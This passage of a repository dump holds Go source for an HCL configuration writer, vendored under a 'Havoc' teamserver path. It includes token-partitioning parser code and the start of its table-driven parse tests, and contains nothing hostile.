that is part of the contract\n\t// for nodeSet.\n\tvar list *nodes\n\tfor n := range ns {\n\t\tlist = n.list\n\t\tbreak\n\t}\n\n\t// We recover the order by iterating over the whole list. This is not\n\t// the most efficient way to do it, but our node lists should always be\n\t// small so not worth making things more complex.\n\tfor n := list.first; n != nil; n = n.after {\n\t\tif ns.Has(n) {\n\t\t\tret = append(ret, n)\n\t\t}\n\t}\n\treturn ret\n}\n\n// FindNodeWithContent searches the nodes for a node whose content equals\n// the given content. If it finds one then it returns it. Otherwise it returns\n// nil.\nfunc (ns nodeSet) FindNodeWithContent(content nodeContent) *node {\n\tfor n := range ns {\n\t\tif n.content == content {\n\t\t\treturn n\n\t\t}\n\t}\n\treturn nil\n}\n\ntype internalWalkFunc func(*node)\n\n// inTree can be embedded into a content struct that has child nodes to get\n// a standard implementation of the NodeContent interface and a record of\n// a potential parent node.\ntype inTree struct {\n\tparent   *node\n\tchildren *nodes\n}\n\nfunc newInTree() inTree {\n\treturn inTree{\n\t\tchildren: &nodes{},\n\t}\n}\n\nfunc (it *inTree) assertUnattached() {\n\tif it.parent != nil {\n\t\tpanic(fmt.Sprintf(\"node is already attached to %T\", it.parent.content))\n\t}\n}\n\nfunc (it *inTree) walkChildNodes(w internalWalkFunc) {\n\tfor n := it.children.first; n != nil; n = n.after {\n\t\tw(n)\n\t}\n}\n\nfunc (it *inTree) BuildTokens(to Tokens) Tokens {\n\tfor n := it.children.first; n != nil; n = n.after {\n\t\tto = n.BuildTokens(to)\n\t}\n\treturn to\n}\n\n// leafNode can be embedded into a content struct to give it a do-nothing\n// implementation of walkChildNodes\ntype leafNode struct {\n}\n\nfunc (n *leafNode) walkChildNodes(w internalWalkFunc) {\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclwrite/parser.go",
    "content": "package hclwrite\n\nimport (\n    \"fmt\"\n    \"sort\"\n\n    \"Havoc/pkg/profile/yaotl\"\n    \"Havoc/pkg/profile/yaotl/hclsyntax\"\n    \"github.com/zclconf/go-cty/cty\"\n)\n\n// Our \"parser\" here is actually not doing any parsing of its own. Instead,\n// it leans on the native parser in hclsyntax, and then uses the source ranges\n// from the AST to partition the raw token sequence to match the raw tokens\n// up to AST nodes.\n//\n// This strategy feels somewhat counter-intuitive, since most of the work the\n// parser does is thrown away here, but this strategy is chosen because the\n// normal parsing work done by hclsyntax is considered to be the \"main case\",\n// while modifying and re-printing source is more of an edge case, used only\n// in ancillary tools, and so it's good to keep all the main parsing logic\n// with the main case but keep all of the extra complexity of token wrangling\n// out of the main parser, which is already rather complex just serving the\n// use-cases it already serves.\n//\n// If the parsing step produces any errors, the returned File is nil because\n// we can't reliably extract tokens from the partial AST produced by an\n// erroneous parse.\nfunc parse(src []byte, filename string, start hcl.Pos) (*File, hcl.Diagnostics) {\n    file, diags := hclsyntax.ParseConfig(src, filename, start)\n    if diags.HasErrors() {\n        return nil, diags\n    }\n\n    // To do our work here, we use the \"native\" tokens (those from hclsyntax)\n    // to match against source ranges in the AST, but ultimately produce\n    // slices from our sequence of \"writer\" tokens, which contain only\n    // *relative* position information that is more appropriate for\n    // transformation/writing use-cases.\n    nativeTokens, diags := hclsyntax.LexConfig(src, filename, start)\n    if diags.HasErrors() {\n        // should never happen, since we would've caught these diags in\n        // the first call above.\n        return nil, diags\n    }\n    writerTokens := writerTokens(nativeTokens)\n\n    from := inputTokens{\n        nativeTokens: nativeTokens,\n        writerTokens: writerTokens,\n    }\n\n    before, root, after := parseBody(file.Body.(*hclsyntax.Body), from)\n    ret := &File{\n        inTree: newInTree(),\n\n        srcBytes: src,\n        body:     root,\n    }\n\n    nodes := ret.inTree.children\n    nodes.Append(before.Tokens())\n    nodes.AppendNode(root)\n    nodes.Append(after.Tokens())\n\n    return ret, diags\n}\n\ntype inputTokens struct {\n    nativeTokens hclsyntax.Tokens\n    writerTokens Tokens\n}\n\nfunc (it inputTokens) Partition(rng hcl.Range) (before, within, after inputTokens) {\n    start, end := partitionTokens(it.nativeTokens, rng)\n    before = it.Slice(0, start)\n    within = it.Slice(start, end)\n    after = it.Slice(end, len(it.nativeTokens))\n    return\n}\n\nfunc (it inputTokens) PartitionType(ty hclsyntax.TokenType) (before, within, after inputTokens) {\n    for i, t := range it.writerTokens {\n        if t.Type == ty {\n            return it.Slice(0, i), it.Slice(i, i+1), it.Slice(i+1, len(it.nativeTokens))\n        }\n    }\n    panic(fmt.Sprintf(\"didn't find any token of type %s\", ty))\n}\n\nfunc (it inputTokens) PartitionTypeOk(ty hclsyntax.TokenType) (before, within, after inputTokens, ok bool) {\n    for i, t := range it.writerTokens {\n        if t.Type == ty {\n            return it.Slice(0, i), it.Slice(i, i+1), it.Slice(i+1, len(it.nativeTokens)), true\n        }\n    }\n\n    return inputTokens{}, inputTokens{}, inputTokens{}, false\n}\n\nfunc (it inputTokens) PartitionTypeSingle(ty hclsyntax.TokenType) (before inputTokens, found *Token, after inputTokens) {\n    before, within, after := it.PartitionType(ty)\n    if within.Len() != 1 {\n        panic(\"PartitionType found more than one token\")\n    }\n    return before, within.Tokens()[0], after\n}\n\n// PartitionIncludeComments is like Partition except the returned \"within\"\n// range includes any lead and line comments associated with the range.\nfunc (it inputTokens) PartitionIncludingComments(rng hcl.Range) (before, within, after inputTokens) {\n    start, end := partitionTokens(it.nativeTokens, rng)\n    start = partitionLeadCommentTokens(it.nativeTokens[:start])\n    _, afterNewline := partitionLineEndTokens(it.nativeTokens[end:])\n    end += afterNewline\n\n    before = it.Slice(0, start)\n    within = it.Slice(start, end)\n    after = it.Slice(end, len(it.nativeTokens))\n    return\n\n}\n\n// PartitionBlockItem is similar to PartitionIncludeComments but it returns\n// the comments as separate token sequences so that they can be captured into\n// AST attributes. It makes assumptions that apply only to block items, so\n// should not be used for other constructs.\nfunc (it inputTokens) PartitionBlockItem(rng hcl.Range) (before, leadComments, within, lineComments, newline, after inputTokens) {\n    before, within, after = it.Partition(rng)\n    before, leadComments = before.PartitionLeadComments()\n    lineComments, newline, after = after.PartitionLineEndTokens()\n    return\n}\n\nfunc (it inputTokens) PartitionLeadComments() (before, within inputTokens) {\n    start := partitionLeadCommentTokens(it.nativeTokens)\n    before = it.Slice(0, start)\n    within = it.Slice(start, len(it.nativeTokens))\n    return\n}\n\nfunc (it inputTokens) PartitionLineEndTokens() (comments, newline, after inputTokens) {\n    afterComments, afterNewline := partitionLineEndTokens(it.nativeTokens)\n    comments = it.Slice(0, afterComments)\n    newline = it.Slice(afterComments, afterNewline)\n    after = it.Slice(afterNewline, len(it.nativeTokens))\n    return\n}\n\nfunc (it inputTokens) Slice(start, end int) inputTokens {\n    // When we slice, we create a new slice with no additional capacity because\n    // we expect that these slices will be mutated in order to insert\n    // new code into the AST, and we want to ensure that a new underlying\n    // array gets allocated in that case, rather than writing into some\n    // following slice and corrupting it.\n    return inputTokens{\n        nativeTokens: it.nativeTokens[start:end:end],\n        writerTokens: it.writerTokens[start:end:end],\n    }\n}\n\nfunc (it inputTokens) Len() int {\n    return len(it.nativeTokens)\n}\n\nfunc (it inputTokens) Tokens() Tokens {\n    return it.writerTokens\n}\n\nfunc (it inputTokens) Types() []hclsyntax.TokenType {\n    ret := make([]hclsyntax.TokenType, len(it.nativeTokens))\n    for i, tok := range it.nativeTokens {\n        ret[i] = tok.Type\n    }\n    return ret\n}\n\n// parseBody locates the given body within the given input tokens and returns\n// the resulting *Body object as well as the tokens that appeared before and\n// after it.\nfunc parseBody(nativeBody *hclsyntax.Body, from inputTokens) (inputTokens, *node, inputTokens) {\n    before, within, after := from.PartitionIncludingComments(nativeBody.SrcRange)\n\n    // The main AST doesn't retain the original source ordering of the\n    // body items, so we need to reconstruct that ordering by inspecting\n    // their source ranges.\n    nativeItems := make([]hclsyntax.Node, 0, len(nativeBody.Attributes)+len(nativeBody.Blocks))\n    for _, nativeAttr := range nativeBody.Attributes {\n        nativeItems = append(nativeItems, nativeAttr)\n    }\n    for _, nativeBlock := range nativeBody.Blocks {\n        nativeItems = append(nativeItems, nativeBlock)\n    }\n    sort.Sort(nativeNodeSorter{nativeItems})\n\n    body := &Body{\n        inTree: newInTree(),\n        items:  newNodeSet(),\n    }\n\n    remain := within\n    for _, nativeItem := range nativeItems {\n        beforeItem, item, afterItem := parseBodyItem(nativeItem, remain)\n\n        if beforeItem.Len() > 0 {\n            body.AppendUnstructuredTokens(beforeItem.Tokens())\n        }\n        body.appendItemNode(item)\n\n        remain = afterItem\n    }\n\n    if remain.Len() > 0 {\n        body.AppendUnstructuredTokens(remain.Tokens())\n    }\n\n    return before, newNode(body), after\n}\n\nfunc parseBodyItem(nativeItem hclsyntax.Node, from inputTokens) (inputTokens, *node, inputTokens) {\n    before, leadComments, within, lineComments, newline, after := from.PartitionBlockItem(nativeItem.Range())\n\n    var item *node\n\n    switch tItem := nativeItem.(type) {\n    case *hclsyntax.Attribute:\n        item = parseAttribute(tItem, within, leadComments, lineComments, newline)\n    case *hclsyntax.Block:\n        item = parseBlock(tItem, within, leadComments, lineComments, newline)\n    default:\n        // should never happen if caller is behaving\n        panic(\"unsupported native item type\")\n    }\n\n    return before, item, after\n}\n\nfunc parseAttribute(nativeAttr *hclsyntax.Attribute, from, leadComments, lineComments, newline inputTokens) *node {\n    attr := &Attribute{\n        inTree: newInTree(),\n    }\n    children := attr.inTree.children\n\n    {\n        cn := newNode(newComments(leadComments.Tokens()))\n        attr.leadComments = cn\n        children.AppendNode(cn)\n    }\n\n    before, nameTokens, from := from.Partition(nativeAttr.NameRange)\n    {\n        children.AppendUnstructuredTokens(before.Tokens())\n        if nameTokens.Len() != 1 {\n            // Should never happen with valid input\n            panic(\"attribute name is not exactly one token\")\n        }\n        token := nameTokens.Tokens()[0]\n        in := newNode(newIdentifier(token))\n        attr.name = in\n        children.AppendNode(in)\n    }\n\n    before, equalsTokens, from := from.Partition(nativeAttr.EqualsRange)\n    children.AppendUnstructuredTokens(before.Tokens())\n    children.AppendUnstructuredTokens(equalsTokens.Tokens())\n\n    before, exprTokens, from := from.Partition(nativeAttr.Expr.Range())\n    {\n        children.AppendUnstructuredTokens(before.Tokens())\n        exprNode := parseExpression(nativeAttr.Expr, exprTokens)\n        attr.expr = exprNode\n        children.AppendNode(exprNode)\n    }\n\n    {\n        cn := newNode(newComments(lineComments.Tokens()))\n        attr.lineComments = cn\n        children.AppendNode(cn)\n    }\n\n    children.AppendUnstructuredTokens(newline.Tokens())\n\n    // Collect any stragglers, though there shouldn't be any\n    children.AppendUnstructuredTokens(from.Tokens())\n\n    return newNode(attr)\n}\n\nfunc parseBlock(nativeBlock *hclsyntax.Block, from, leadComments, lineComments, newline inputTokens) *node {\n    block := &Block{\n        inTree: newInTree(),\n    }\n    children := block.inTree.children\n\n    {\n        cn := newNode(newComments(leadComments.Tokens()))\n        block.leadComments = cn\n        children.AppendNode(cn)\n    }\n\n    before, typeTokens, from := from.Partition(nativeBlock.TypeRange)\n    {\n        children.AppendUnstructuredTokens(before.Tokens())\n        if typeTokens.Len() != 1 {\n            // Should never happen with valid input\n            panic(\"block type name is not exactly one token\")\n        }\n        token := typeTokens.Tokens()[0]\n        in := newNode(newIdentifier(token))\n        block.typeName = in\n        children.AppendNode(in)\n    }\n\n    before, labelsNode, from := parseBlockLabels(nativeBlock, from)\n    block.labels = labelsNode\n    children.AppendNode(labelsNode)\n\n    before, oBrace, from := from.Partition(nativeBlock.OpenBraceRange)\n    children.AppendUnstructuredTokens(before.Tokens())\n    block.open = children.AppendUnstructuredTokens(oBrace.Tokens())\n\n    // We go a bit out of order here: we go hunting for the closing brace\n    // so that we have a delimited body, but then we'll deal with the body\n    // before we actually append the closing brace and any straggling tokens\n    // that appear after it.\n    bodyTokens, cBrace, from := from.Partition(nativeBlock.CloseBraceRange)\n    before, body, after := parseBody(nativeBlock.Body, bodyTokens)\n    children.AppendUnstructuredTokens(before.Tokens())\n    block.body = body\n    children.AppendNode(body)\n    children.AppendUnstructuredTokens(after.Tokens())\n\n    block.close = children.AppendUnstructuredTokens(cBrace.Tokens())\n\n    // stragglers\n    children.AppendUnstructuredTokens(from.Tokens())\n    if lineComments.Len() > 0 {\n        // blocks don't actually have line comments, so we'll just treat\n        // them as extra stragglers\n        children.AppendUnstructuredTokens(lineComments.Tokens())\n    }\n    children.AppendUnstructuredTokens(newline.Tokens())\n\n    return newNode(block)\n}\n\nfunc parseBlockLabels(nativeBlock *hclsyntax.Block, from inputTokens) (inputTokens, *node, inputTokens) {\n    labelsObj := newBlockLabels(nil)\n    children := labelsObj.children\n\n    var beforeAll inputTokens\n    for i, rng := range nativeBlock.LabelRanges {\n        var before, labelTokens inputTokens\n        before, labelTokens, from = from.Partition(rng)\n        if i == 0 {\n            beforeAll = before\n        } else {\n            children.AppendUnstructuredTokens(before.Tokens())\n        }\n        tokens := labelTokens.Tokens()\n        var ln *node\n        if len(tokens) == 1 && tokens[0].Type == hclsyntax.TokenIdent {\n            ln = newNode(newIdentifier(tokens[0]))\n        } else {\n            ln = newNode(newQuoted(tokens))\n        }\n        labelsObj.items.Add(ln)\n        children.AppendNode(ln)\n    }\n\n    after := from\n    return beforeAll, newNode(labelsObj), after\n}\n\nfunc parseExpression(nativeExpr hclsyntax.Expression, from inputTokens) *node {\n    expr := newExpression()\n    children := expr.inTree.children\n\n    nativeVars := nativeExpr.Variables()\n\n    for _, nativeTraversal := range nativeVars {\n        before, traversal, after := parseTraversal(nativeTraversal, from)\n        children.AppendUnstructuredTokens(before.Tokens())\n        children.AppendNode(traversal)\n        expr.absTraversals.Add(traversal)\n        from = after\n    }\n    // Attach any stragglers that don't belong to a traversal to the expression\n    // itself. In an expression with no traversals at all, this is just the\n    // entirety of \"from\".\n    children.AppendUnstructuredTokens(from.Tokens())\n\n    return newNode(expr)\n}\n\nfunc parseTraversal(nativeTraversal hcl.Traversal, from inputTokens) (before inputTokens, n *node, after inputTokens) {\n    traversal := newTraversal()\n    children := traversal.inTree.children\n    before, from, after = from.Partition(nativeTraversal.SourceRange())\n\n    stepAfter := from\n    for _, nativeStep := range nativeTraversal {\n        before, step, after := parseTraversalStep(nativeStep, stepAfter)\n        children.AppendUnstructuredTokens(before.Tokens())\n        children.AppendNode(step)\n        traversal.steps.Add(step)\n        stepAfter = after\n    }\n\n    return before, newNode(traversal), after\n}\n\nfunc parseTraversalStep(nativeStep hcl.Traverser, from inputTokens) (before inputTokens, n *node, after inputTokens) {\n    var children *nodes\n    switch tNativeStep := nativeStep.(type) {\n\n    case hcl.TraverseRoot, hcl.TraverseAttr:\n        step := newTraverseName()\n        children = step.inTree.children\n        before, from, after = from.Partition(nativeStep.SourceRange())\n        inBefore, token, inAfter := from.PartitionTypeSingle(hclsyntax.TokenIdent)\n        name := newIdentifier(token)\n        children.AppendUnstructuredTokens(inBefore.Tokens())\n        step.name = children.Append(name)\n        children.AppendUnstructuredTokens(inAfter.Tokens())\n        return before, newNode(step), after\n\n    case hcl.TraverseIndex:\n        step := newTraverseIndex()\n        children = step.inTree.children\n        before, from, after = from.Partition(nativeStep.SourceRange())\n\n        if inBefore, dot, from, ok := from.PartitionTypeOk(hclsyntax.TokenDot); ok {\n            children.AppendUnstructuredTokens(inBefore.Tokens())\n            children.AppendUnstructuredTokens(dot.Tokens())\n\n            valBefore, valToken, valAfter := from.PartitionTypeSingle(hclsyntax.TokenNumberLit)\n            children.AppendUnstructuredTokens(valBefore.Tokens())\n            key := newNumber(valToken)\n            step.key = children.Append(key)\n            children.AppendUnstructuredTokens(valAfter.Tokens())\n\n            return before, newNode(step), after\n        }\n\n        var inBefore, oBrack, keyTokens, cBrack inputTokens\n        inBefore, oBrack, from = from.PartitionType(hclsyntax.TokenOBrack)\n        children.AppendUnstructuredTokens(inBefore.Tokens())\n        children.AppendUnstructuredTokens(oBrack.Tokens())\n        keyTokens, cBrack, from = from.PartitionType(hclsyntax.TokenCBrack)\n\n        keyVal := tNativeStep.Key\n        switch keyVal.Type() {\n        case cty.String:\n            key := newQuoted(keyTokens.Tokens())\n            step.key = children.Append(key)\n        case cty.Number:\n            valBefore, valToken, valAfter := keyTokens.PartitionTypeSingle(hclsyntax.TokenNumberLit)\n            children.AppendUnstructuredTokens(valBefore.Tokens())\n            key := newNumber(valToken)\n            step.key = children.Append(key)\n            children.AppendUnstructuredTokens(valAfter.Tokens())\n        }\n\n        children.AppendUnstructuredTokens(cBrack.Tokens())\n        children.AppendUnstructuredTokens(from.Tokens())\n\n        return before, newNode(step), after\n    default:\n        panic(fmt.Sprintf(\"unsupported traversal step type %T\", nativeStep))\n    }\n\n}\n\n// writerTokens takes a sequence of tokens as produced by the main hclsyntax\n// package and transforms it into an equivalent sequence of tokens using\n// this package's own token model.\n//\n// The resulting list contains the same number of tokens and uses the same\n// indices as the input, allowing the two sets of tokens to be correlated\n// by index.\nfunc writerTokens(nativeTokens hclsyntax.Tokens) Tokens {\n    // Ultimately we want a slice of token _pointers_, but since we can\n    // predict how much memory we're going to devote to tokens we'll allocate\n    // it all as a single flat buffer and thus give the GC less work to do.\n    tokBuf := make([]Token, len(nativeTokens))\n    var lastByteOffset int\n    for i, mainToken := range nativeTokens {\n        // Create a copy of the bytes so that we can mutate without\n        // corrupting the original token stream.\n        bytes := make([]byte, len(mainToken.Bytes))\n        copy(bytes, mainToken.Bytes)\n\n        tokBuf[i] = Token{\n            Type:  mainToken.Type,\n            Bytes: bytes,\n\n            // We assume here that spaces are always ASCII spaces, since\n            // that's what the scanner also assumes, and thus the number\n            // of bytes skipped is also the number of space characters.\n            SpacesBefore: mainToken.Range.Start.Byte - lastByteOffset,\n        }\n\n        lastByteOffset = mainToken.Range.End.Byte\n    }\n\n    // Now make a slice of pointers into the previous slice.\n    ret := make(Tokens, len(tokBuf))\n    for i := range ret {\n        ret[i] = &tokBuf[i]\n    }\n\n    return ret\n}\n\n// partitionTokens takes a sequence of tokens and a hcl.Range and returns\n// two indices within the token sequence that correspond with the range\n// boundaries, such that the slice operator could be used to produce\n// three token sequences for before, within, and after respectively:\n//\n//     start, end := partitionTokens(toks, rng)\n//     before := toks[:start]\n//     within := toks[start:end]\n//     after := toks[end:]\n//\n// This works best when the range is aligned with token boundaries (e.g.\n// because it was produced in terms of the scanner's result) but if that isn't\n// true then it will make a best effort that may produce strange results at\n// the boundaries.\n//\n// Native hclsyntax tokens are used here, because they contain the necessary\n// absolute position information. However, since writerTokens produces a\n// correlatable sequence of writer tokens, the resulting indices can be\n// used also to index into its result, allowing the partitioning of writer\n// tokens to be driven by the partitioning of native tokens.\n//\n// The tokens are assumed to be in source order and non-overlapping, which\n// will be true if the token sequence from the scanner is used directly.\nfunc partitionTokens(toks hclsyntax.Tokens, rng hcl.Range) (start, end int) {\n    // We use a linear search here because we assume that in most cases our\n    // target range is close to the beginning of the sequence, and the sequences\n    // are generally small for most reasonable files anyway.\n    for i := 0; ; i++ {\n        if i >= len(toks) {\n            // No tokens for the given range at all!\n            return len(toks), len(toks)\n        }\n\n        if toks[i].Range.Start.Byte >= rng.Start.Byte {\n            start = i\n            break\n        }\n    }\n\n    for i := start; ; i++ {\n        if i >= len(toks) {\n            // The range \"hangs off\" the end of the token sequence\n            return start, len(toks)\n        }\n\n        if toks[i].Range.Start.Byte >= rng.End.Byte {\n            end = i // end marker is exclusive\n            break\n        }\n    }\n\n    return start, end\n}\n\n// partitionLeadCommentTokens takes a sequence of tokens that is assumed\n// to immediately precede a construct that can have lead comment tokens,\n// and returns the index into that sequence where the lead comments begin.\n//\n// Lead comments are defined as whole lines containing only comment tokens\n// with no blank lines between. If no such lines are found, the returned\n// index will be len(toks).\nfunc partitionLeadCommentTokens(toks hclsyntax.Tokens) int {\n    // single-line comments (which is what we're interested in here)\n    // consume their trailing newline, so we can just walk backwards\n    // until we stop seeing comment tokens.\n    for i := len(toks) - 1; i >= 0; i-- {\n        if toks[i].Type != hclsyntax.TokenComment {\n            return i + 1\n        }\n    }\n    return 0\n}\n\n// partitionLineEndTokens takes a sequence of tokens that is assumed\n// to immediately follow a construct that can have a line comment, and\n// returns first the index where any line comments end and then second\n// the index immediately after the trailing newline.\n//\n// Line comments are defined as comments that appear immediately after\n// a construct on the same line where its significant tokens ended.\n//\n// Since single-line comment tokens (# and //) include the newline that\n// terminates them, in the presence of these the two returned indices\n// will be the same since the comment itself serves as the line end.\nfunc partitionLineEndTokens(toks hclsyntax.Tokens) (afterComment, afterNewline int) {\n    for i := 0; i < len(toks); i++ {\n        tok := toks[i]\n        if tok.Type != hclsyntax.TokenComment {\n            switch tok.Type {\n            case hclsyntax.TokenNewline:\n                return i, i + 1\n            case hclsyntax.TokenEOF:\n                // Although this is valid, we mustn't include the EOF\n                // itself as our \"newline\" or else strange things will\n                // happen when we try to append new items.\n                return i, i\n            default:\n                // If we have well-formed input here then nothing else should be\n                // possible. This path should never happen, because we only try\n                // to extract tokens from the sequence if the parser succeeded,\n                // and it should catch this problem itself.\n                panic(\"malformed line trailers: expected only comments and newlines\")\n            }\n        }\n\n        if len(tok.Bytes) > 0 && tok.Bytes[len(tok.Bytes)-1] == '\\n' {\n            // Newline at the end of a single-line comment serves both as\n            // the end of comments *and* the end of the line.\n            return i + 1, i + 1\n        }\n    }\n    return len(toks), len(toks)\n}\n\n// lexConfig uses the hclsyntax scanner to get a token stream and then\n// rewrites it into this package's token model.\n//\n// Any errors produced during scanning are ignored, so the results of this\n// function should be used with care.\nfunc lexConfig(src []byte) Tokens {\n    mainTokens, _ := hclsyntax.LexConfig(src, \"\", hcl.Pos{Byte: 0, Line: 1, Column: 1})\n    return writerTokens(mainTokens)\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclwrite/parser_test.go",
    "content": "package hclwrite\n\nimport (\n    \"fmt\"\n    \"reflect\"\n    \"testing\"\n\n    \"github.com/davecgh/go-spew/spew\"\n\n    \"github.com/google/go-cmp/cmp\"\n\n    \"github.com/kylelemons/godebug/pretty\"\n\n    \"Havoc/pkg/profile/yaotl\"\n    \"Havoc/pkg/profile/yaotl/hclsyntax\"\n)\n\nfunc TestParse(t *testing.T) {\n    tests := []struct {\n        src  string\n        want TestTreeNode\n    }{\n        {\n            \"\",\n            TestTreeNode{\n                Type: \"Body\",\n            },\n        },\n        {\n            \"a = 1\\n\",\n            TestTreeNode{\n                Type: \"Body\",\n                Children: []TestTreeNode{\n                    {\n                        Type: \"Attribute\",\n                        Children: []TestTreeNode{\n                            {\n                                Type: \"comments\",\n                            },\n                            {\n                                Type: \"identifier\",\n                                Val:  \"a\",\n                            },\n                            {\n                                Type: \"Tokens\",\n                                Val:  \" =\",\n                            },\n                            {\n                                Type: \"Expression\",\n                                Children: []TestTreeNode{\n                                    {\n                                        Type: \"Tokens\",\n                                        Val:  \" 1\",\n                                    },\n                                },\n                            },\n                            {\n                                Type: \"comments\",\n                            },\n                            {\n                                Type: \"Tokens\",\n                                Val:  \"\\n\",\n                            },\n                        },\n                    },\n                },\n            },\n        },\n        {\n            \"# aye aye aye\\na = 1\\n\",\n            TestTreeNode{\n                Type: \"Body\",\n                Children: []TestTreeNode{\n                    {\n                        Type: \"Attribute\",\n                        Children: []TestTreeNode{\n                            {\n                                Type: \"comments\",\n                                Val:  \"# aye aye aye\\n\",\n                            },\n                            {\n                                Type: \"identifier\",\n                                Val:  \"a\",\n                            },\n                            {\n                                Type: \"Tokens\",\n                                Val:  \" =\",\n                            },\n                            {\n                                Type: \"Expression\",\n                                Children: []TestTreeNode{\n                                    {\n                                        Type: \"Tokens\",\n                                        Val:  \" 1\",\n                                    },\n                                },\n                            },\n                            {\n                                Type: \"comments\",\n                            },\n                            {\n                                Type: \"Tokens\",\n                                Val:  \"\\n\",\n                            },\n                        },\n                    },\n                },\n            },\n        },\n        {\n            \"a = 1 # because it is\\n\",\n            TestTreeNode{\n                Type: \"Body\",\n                Children: []TestTreeNode{\n                    {\n                        Type: \"Attribute\",\n                        Children: []TestTreeNode{\n                            {\n                                Type: \"comments\",\n                            },\n                            {\n                                Type: \"identifier\",\n                                Val:  \"a\",\n                            },\n                            {\n                                Type: \"Tokens\",\n                                Val:  \" =\",\n                            },\n                            {\n                                Type: \"Expression\",\n                                Children: []TestTreeNode{\n                                    {\n                                        Type: \"Tokens\",\n                                        Val:  \" 1\",\n                                    },\n                                },\n                            },\n                            {\n                                Type: \"comments\",\n                                Val:  \" # because it is\\n\",\n                            },\n                        },\n                    },\n                },\n            },\n        },\n        {\n            \"# bee bee bee\\n\\nb = 1\\n\", // two newlines separate the comment from the attribute\n            TestTreeNode{\n                Type: \"Body\",\n                Children: []TestTreeNode{\n                    {\n                        Type: \"Tokens\", // Only lead/line comments attached to an object have type \"comments\"\n                        Val:  \"# bee bee bee\\n\\n\",\n                    },\n                    {\n                        Type: \"Attribute\",\n                        Children: []TestTreeNode{\n                            {\n                                Type: \"comments\",\n                            },\n                            {\n                                Type: \"identifier\",\n                                Val:  \"b\",\n                            },\n                            {\n                                Type: \"Tokens\",\n                                Val:  \" =\",\n                            },\n                            {\n                                Type: \"Expression\",\n                                Children: []TestTreeNode{\n                                    {\n                                        Type: \"Tokens\",\n                                        Val:  \" 1\",\n                                    },\n                                },\n                            },\n                            {\n                                Type: \"comments\",\n                                Val:  \"\",\n                            },\n                            {\n                                Type: \"Tokens\",\n                                Val:  \"\\n\",\n                            },\n                        },\n                    },\n                },\n            },\n        },\n        {\n            \"a = (\\n  1 + 2\\n)\\nb = 3\\n\",\n            TestTreeNode{\n                Type: \"Body\",\n                Children: []TestTreeNode{\n                    {\n                        Type: \"Attribute\",\n                        Children: []TestTreeNode{\n                            {Type: \"comments\"},\n                            {\n                                Type: \"identifier\",\n                                Val:  \"a\",\n                            },\n                            {\n                                Type: \"Tokens\",\n                                Val:  \" =\",\n                            },\n                            {\n                                Type: \"Expression\",\n                                Children: []TestTreeNode{\n                                    {\n                                        Type: \"Tokens\",\n                                        Val:  \" (\\n  1 + 2\\n)\",\n                                    },\n                                },\n                            },\n                            {Type: \"comments\"},\n                            {\n                                Type: \"Tokens\",\n                                Val:  \"\\n\",\n                            },\n                        },\n                    },\n                    {\n                        Type: \"Attribute\",\n                        Children: []TestTreeNode{\n                            {Type: \"comments\"},\n                            {\n                                Type: \"identifier\",\n                                Val:  \"b\",\n                            },\n                            {\n                                Type: \"Tokens\",\n                                Val:  \" =\",\n                            },\n                            {\n                                Type: \"Expression\",\n                                Children: []TestTreeNode{\n                                    {\n                                        Type: \"Tokens\",\n                                        Val:  \" 3\",\n                                    },\n                                },\n                            },\n                            {Type: \"comments\"},\n                            {\n                                Type: \"Tokens\",\n                                Val:  \"\\n\",\n                            },\n                        },\n                    },\n                },\n            },\n        },\n        {\n            \"b {}\\n\",\n            TestTreeNode{\n                Type: \"Body\",\n                Children: []TestTreeNode{\n                    {\n                        Type: \"Block\",\n                        Children: []TestTreeNode{\n                            {\n                                Type: \"comments\",\n                            },\n                            {\n                                Type: \"identifier\",\n                                Val:  \"b\",\n                            },\n                            {\n                                Type: \"blockLabels\",\n                            },\n                            {\n                                Type: \"Tokens\",\n                                Val:  \" {\",\n                            },\n                            {\n                                Type: \"Body\",\n                            },\n                            {\n                                Type: \"Tokens\",\n                                Val:  \"}\",\n                            },\n                            {\n                                Type: \"Tokens\",\n                                Val:  \"\\n\",\n                            },\n                        },\n                    },\n                },\n            },\n        },\n        {\n            \"b label {}\\n\",\n            TestTreeNode{\n                Type: \"Body\",\n                Children: []TestTreeNode{\n                    {\n                        Type: \"Block\",\n                        Children: []TestTreeNode{\n                            {\n                                Type: \"comments\",\n                            },\n                            {\n                                Type: \"identifier\",\n                                Val:  \"b\",\n                            },\n                            {\n                                Type: \"blockLabels\",\n                                Children: []TestTreeNode{\n                                    {\n                                        Type: \"identifier\",\n                                        Val:  \" label\",\n                                    },\n                                },\n                            },\n                            {\n                                Type: \"Tokens\",\n                                Val:  \" {\",\n                            },\n                            {\n                                Type: \"Body\",\n                            },\n                            {\n                                Type: \"Tokens\",\n                                Val:  \"}\",\n                            },\n                            {\n                                Type: \"Tokens\",\n                                Val:  \"\\n\",\n                            },\n                        },\n                    },\n                },\n            },\n        },\n        {\n            \"b \\\"label\\\" {}\\n\",\n            TestTreeNode{\n                Type: \"Body\",\n                Children: []TestTreeNode{\n                    {\n                        Type: \"Block\",\n                        Children: []TestTreeNode{\n                            {\n                                Type: \"comments\",\n                            },\n                            {\n                                Type: \"identifier\",\n                                Val:  \"b\",\n                            },\n                            {\n                                Type: \"blockLabels\",\n                                Children: []TestTreeNode{\n                                    {\n                                        Type: \"quoted\",\n                                        Val:  ` \"label\"`,\n                                    },\n                                },\n                            },\n                            {\n                                Type: \"Tokens\",\n                                Val:  \" {\",\n                            },\n                            {\n                                Type: \"Body\",\n                            },\n                            {\n                                Type: \"Tokens\",\n                                Val:  \"}\",\n                            },\n                            {\n                                Type: \"Tokens\",\n                                Val:  \"\\n\",\n                            },\n                        },\n                    },\n                },\n            },\n        },\n        {\n            \"b \\\"label1\\\" /* foo */ \\\"label2\\\" {}\\n\",\n            TestTreeNode{\n                Type: \"Body\",\n                Children: []TestTreeNode{\n                    {\n                        Type: \"Block\",\n                        Children: []TestTreeNode{\n                            {\n                                Type: \"comments\",\n                            },\n                            {\n                                Type: \"identifier\",\n                                Val:  \"b\",\n                            },\n                            {\n                                Type: \"blockLabels\",\n                                Children: []TestTreeNode{\n                                    {\n                                        Type: \"quoted\",\n                                        Val:  ` \"label1\"`,\n                                    },\n                                    {\n                                        // The comment between the labels just\n                                        // becomes an \"unstructured tokens\"\n                                        // node, because this isn't a place\n                                        // where we expect comments to attach\n                                        // to a particular object as\n                                        // documentation.\n                                        Type: \"Tokens\",\n                                        Val:  ` /* foo */`,\n                                    },\n                                    {\n                                        Type: \"quoted\",\n                                        Val:  ` 